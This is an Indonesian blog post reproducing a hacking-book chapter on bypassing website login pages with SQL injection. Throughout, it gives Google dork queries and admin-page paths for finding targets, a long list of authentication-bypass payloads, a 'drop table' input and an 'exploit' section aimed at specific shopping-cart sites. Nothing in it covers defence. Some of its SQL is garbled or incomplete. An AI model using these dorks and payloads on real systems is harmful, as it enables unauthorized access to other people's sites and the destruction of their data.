Bypass halaman login No ratings yet.


BAB 6
ByPass Halaman Login
Untuk mengakses suatu sistem, misalnya sebuah situs web, biasanya diperlukan proses login. Supaya hanya user yang sah atau berhak saja yang boleh memasuki situs web tersebut, hal ini ditandai dengan adanya kotak input username dan password. Hal ini bertujuan untuk memfilter dan mengenal identitas user yang memasuki sebuah sistem. Dalam bab ini, Anda akan mempelajari bagaimana menembus sebuah halaman login dengan teknik SQL Injection. Sebab, salah satu masalah utama dalam pemakaian SQL adalah adanya isi kelemahan pada halaman login.
Misalnya, Anda bisa melakukan searching dengan kata kunci berikut:
          Admin.php
          Admin.asp
          Login.php
          Login.asp
Dengan empat string di atas, Anda akan menemukan banyak halaman admin.
Pada halaman login, Anda bisa memasukkan kode perintah, misalnya:
User: admin
Pass:’ or 1=1—
Atau:
User name :  ‘or’=’
Password : ‘or’=’
Penjelasannya sperti ini:
Ketika input username  dan password diisi seperti di atas, maka yang terjadi pada proses  input adalah sebagai berikut:
Var sql = “select * from users where username = ‘ “ + username + “ ‘ and password = ‘ “ + password  +    ‘ “ ‘
Hal ini bisa terjadi karena, ketika input tersebut diproses  oleh sistem, yang terjadi adalah operasi tersebut dianggap valid.
Var sql = “select * from users where username = ‘ ‘ OR ‘ ‘ = ‘ ‘  and password = ‘ ‘ OR ‘ ‘=’ ‘ ;
Misalnya, sebuah database memiliki tabel dengan nama “user” dn memiliki “field” account dan password.
Account
Password
Admin
Pop3y3
Joko
Jack1
Kembali pada contoh kasus sewaktu seseorang memasukkan input berupa ‘OR”=’ baik pada bagian account maupun pada bagian password. Secara logika bisa kita lihat syntax SQL menjadi:
’’or’’=’’=’’ AND password=’’or’’=’’
Dalam SQL, fungsi logika OR untuk untuk mengembalikan nilai False menjadi True.
Mungkin ada di antara pembaca yang bertanya, bagaimana jika kita ingin login dengan account tertentu tetapi kita tidak mengetahui password-nya. Misalnya, anda ingin login dengan nama account ‘joko’ seperti yang terdapat pada tabel diatas.
Caranya dengan memasukkan input padatext box dengan ‘—sedangkan pada bagian password diisi dengan  ‘OR”=’
Jika dilihat padda synntax SQL , bentuknya adalah:
SELECT  * FROM user WHERE account=’joko’- -‘ AND password=’ ’or’ ’=’ ’
Fungsi pemakaian tanda double minus tentunya Anda sudah tahu, seperti yang telah dijelaskan pada bab sebelumnya. Pada beberapa kasus, tanda double minus juga bisa diganti dengan tanda # menjadi joko’#.
Sedangkan pada kotak isian password bisa diisi dengan bebas’ or ‘x’=’x’
Berikut penjelasannya. Sewaktu seseorang menekan tombol login maka SQL akan menjalankan query seperti berikut:
SELECT  * FROM user WHERE account=’joko’ AND password=’ bebas’ or ‘x’=’x’
Akibatnya pada bagian password akan terisi dengan nilai bebas. Tentu saja input ini bernilai salah  (false) dan menyebabkan seseorang tidak akan bisa login. Karena password tersebut tidak tersimpan pada database. Akan tetapi, perhatikan query lanjutannya, yaitu or ‘x’=’x. Artinya , sistem akan diberikan pilihan (fungsi OR). Jika sebelumnya, input password bernilai salah, maka dijalankan pilihan berikutnya yang sudah pasti benar karena adanya ‘x’=’x’. Sehingga seseorang bisa melakukan login dengan account joko.
Text Box: Intinya dari aksi dalam bab ini adalah bagaimana kita membuat atau memanipulasi query SQL menjadi bernilai true atau benar

 


           Berikut beberapa syntax yang sering digunakan dalam Google:
          /admin.php
          /login.php
          /logon.php
          /adminlogin.php
          /adminlogon.php
          /admin_login.php
          /admin_logon.php
          /admin/admin.php
          /admin/login.php
          /admin/logon.php
          /admin/adminlogin.php
          /admin/adminlogon.php
          /admin/admin_login.php
          /admin/admin_logon.php
          /administrator/admin.php
          /administrator/login.php
          /administrator/logon.php
          /reboot/login.php
          /admin/index.php
Selain itu, Anda bisa langsung memasukkan syntax di atas, atau menggunakan tanda kutip, seperti: “/admin.asp”. Kalau perlu, Anda juga bisa menggunakan kombinasi dengan syntax-syntax untuk Google Dork, seperti allinurl:admin/index.asp.
Halaman yang akan muncul dari tindakan di atas, biasanya adalah halaman Login
.
Untuk dapat masuk ada banyak kode yang bisa digunakan, di antaranya:
Username:  ‘or’a’=’a
Password:  ‘or’a’=’a
Jika tidak berhasil maka kode tersebut divariasikan menjadi:
Username:  admin
Password:   ‘or’a’=’a
Berikut beberapa kode variasinya:
‘ or 0=0 – –
  ‘ or 0=0 – –
or 0=0 – –
  ‘ or  0=0 #
  ‘ or  0=0 #
or  0=0 #
‘ or  ‘x’=’x
‘ or  “x”=”x
‘) or ( ‘x’=’x
 ‘ or 1=1 – –
 ‘ or 1=1 – –
or 1=1 – –
 ‘ or a=a – –
  or  “a”=”a
 ‘ )  or  ( ‘a’=’a
“ )  or  ( “a”=”a
hi ”  )  or  “a”=”a
hi ” or 1=1 – –
hi ’  or 1=1 – –
hi ’  or   ‘a’=’a
hi ‘ ) or   ( ‘a’=’a
hi “) or   ( “a”=”a
‘=’
‘ LIKE ‘
‘ =0 – – +
Untuk jawaban kedua, misalnya kita menggunakan perintah ‘or’ 1=1 – – untuk inpiut account-nya sedangkan input password, kita misalkan menggunakan kata ‘free’.
Sewaktu input dari account atau username sebuah situs web dengan memasukkan string ‘or’ 1=1 – – hal ini akan membuat SQL menjadi bingung karena SQL membacanya:
SELECT  * FROM user WHERE account=”or 1=1 – – AND paswsword= ‘free’
Perlu anda ketahui juga bahwa aksi SQL injection melalui input box ini tidak hanya berlaku untuk melakukan aksi Login saja. Misalnya, anda bisa menggunakan perintah:
Username: ’; drop table userid- –
Password:
Dilihat dari cara kerjanya, perintah di atas akan bekerja:
Var sql = “select  * from userid where username = `’ drop table userid–
MODEL SERANGAN SEDERHANA
Contoh pemakaian double minus pada SQL Injection attack:
Username : admin’ – –
SELECT *  FROM members WHERE username = ‘admin’- – AND password= ‘password’
Fungsi perintah di atas akan membuat Anda bisa login sebagai admin.
Secara umum, untuk mencocokkan user yang login perintah SQL-nya adalah:
Select * from admin where username = input_username AND password = input_password
Conto soal:
Jika diketahui username adalah ‘administrator’, sedangkan password-nya adalah ‘heloworld’. Administrator berniat untuk login. Tentukan statement-nya?
Diketahui:
Username: administrator
Password: heloworld
Ditanyakan:
SQL statement= …?
Penyelesaian:
Rumus:
SELECT * FROM admin WHERE username = input_username AND password = input_password
Masukkan yang diketahui ke dalam rumus, menjadi:
Select * from admin where username = ‘administrator’ and password = heloworld
Sekarang, saya akan memberikan ilustrasi sederhana, untuk pola lainnya. Misalnya dengan sebuah situs URL:
http://www.situs-target.com/category=buku
sekarang, kita asumsikan URL nya diganti menjadi:
Maka variabel v_cat sama dengan “buku” or 1=1- -“. Jika kita tukar dengan query SQL, jadinya:
SELECT * FROM Product WHERE Pcategory=’buku’ or 1=1- -‘
Selain beberapa kode di atas yang telah di bahas, Anda juga dapat menggunakan beberapa kemungkinan lain nya:
EXPLOIT ByPASS HALAMAN LOGIN
Subbab ini hanyalah bab tambahan dari saya, yaitu beberapa exploit yang berhubungan dengan SQL Injection untuk mem-bypass halaman login. Walaupun exploit itu adalah sesuatu yang kuno karena akan mudah di patch, setidaknya ini akan menambahkan pengetahuan Anda dalam hal kegiatan hacking menggunakan SQL Injection.
Gunakan syntax dibawah ini pada halaman pencarian Google untuk mencari situs web yang
 bisa Anda eksploitasi (exploit).
Syntax: inurl:”cart.php?m=”
Nantinya Anda akan menemukan situs target katakanlah:
Atau,
Dari situs target  yang Anda peroleh tersebut, hapuslah string:cart.php?m=product_list&c=10
Sekarang tambahkan kata admin dibelakangnya, menjadi: http://www.situs-target.com/admin
Untuk masuk pada situs web dengan model seperti ini Injection nya adalah :
Username: admin
Password:’or”=”
Syntax Google berikutnya yang bisa Anda coba adalah :
allinurl:shopadmin.asp
Di mana username dan password yang digunakan adalah:
Username: ‘or’1
Password:’or’1

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *